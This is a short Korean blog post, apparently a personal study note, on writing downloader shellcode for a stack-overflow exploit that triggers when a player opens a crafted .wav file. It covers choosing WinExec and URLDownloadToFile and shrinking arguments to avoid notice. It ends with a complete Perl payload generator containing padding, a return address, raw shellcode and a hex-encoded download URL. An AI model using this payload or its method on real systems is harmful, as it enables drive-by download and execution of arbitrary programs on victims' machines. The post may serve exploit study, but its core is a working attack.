ShellCode로
DownLoader만들기
직접 ShellCode 만드는건 비효율적임Downloader
: 실행파일 다운 + 실행파일 실행
1. 실행파일 실행
- system()-c표준함수
- WinExec()-옛날함수라 어플리케이션보다 악성코드에 사용
- CreateProcess()-인자가 너무 많아 들킬 확률이 높음
2. 실행파일 다운
API - socket은 저수준, Windows에 내장된 함수를 사용해야함- URLDownloaderToFile을 이용하여 다운로드
- URLDowloadToFile이 되는 부분
PUSH-CALL-JUMP로 이동되면서 함수가 시작됨
- 004020B0 가 JMP 되는 주소
그 주소를 찾아가면 7F6EBC8B가 함수가 시작되면서 이동되어지는 주소
- 이 주소를 exploit 만드는 곳에 RETN값 으로 대입
일단 이렇게 만들어봄 (URLDownloadToFile함수를 기반으로 해서 만듬)
- 빌드하고 실행
http인데 ptth로 입력됨..
- 다 거꾸로 적어주기
- URL주소는 성공
- 파일이름도 성공
- pl->wav로 바꾼뒤 tip방법으로 실행
잘 들어옴
근데 인자값이 너무 커져서 눈에 띔
근데 인자값이 너무 커져서 눈에 띔
- 눈에 띄지 않게 인자값을 줄이기
- PERL을 이용해 인자값대신 Payload에 변수를 넣기
# PAYLOAD
$file = "PERL로 변환될 파일이름"
$dummy = "exe의 크기에 딱 맞는 dummy수 =[url+name+dummy] "
$url = "url주소 (문자열, 16진수 가능)"
$name = "url로 다운받아질 파일의 이름"
$ret = "retn주소"
$shell = "retn주소에서 실행될 함수의 기계어"
- payload에 넣을 shell값 구하기
[ SHELL 값의 함수를 어셈블리어로 만듬 ]
이때, ESP의 값은 dummy의 값 4128=0x1020,
JMP ESP의 값이 4bytes이므로 1024부터 EAX 의 함수시작주소(url)
그리고 url이 44bytes=0x2C,
[ 기계어로 뽑아내기 ]
- $url, $name을 16진수로
- 만들 payload를 HxD로 보면
- TIP방법 실시
[ Attach를 열었을 때]
[ RUN ]
성공
- CC값을 넣어 URLDownloadeToFile가 진행되는 과정
[ INTERRUPT 3 ]
[ 기계어추출 ]
# Fuzzer2
my $file= "Payload3.wav";
my $dummy = "\x41" x (4128-44-18);
my $url = "\x68\x74\x74\x70\x3A\x2F\x2F\x61\x70\x70\x2E\x67\x6F\x6D\x74\x76\x2E\x63\x6F\x6D\x2F\x67\x6F\x6D\x2F\x47\x4F\x4D\x50\x4C\x41\x59\x45\x52\x53\x45\x54\x55\x50\x2E\x45\x58\x45\x00"; #44byte w/ null
my $name ="\x43\x3A\x5C\x5C\x67\x6F\x6D\x5F\x53\x65\x74\x75\x70\x2E\x65\x78\x65\x00"; #18byte w/ null
my $ret = "\xD1\xC8\x43\x00";
my $shell = "\x36\x8D\x84\x24\xDC\xEF\xFF\xFF\x36\x8D\x9C\x24\x08\xF0\xFF\xFF\xCC\x6A\x00\x6A\x00\x53\x50\x6A\x00\xBE\x8B\xBC\x6E\x7E\xFF\xD6";
open($fd,">$file");
print $fd $url.$name.$dummy.$ret.$shell;
close($fd);
- TIP과정 실시
INT 3(cc값) 에서 걸림
- F8로 진행하면 프로세스가 중단되어서 F9로 실행
성공
2019-01-16
No comments:
Post a Comment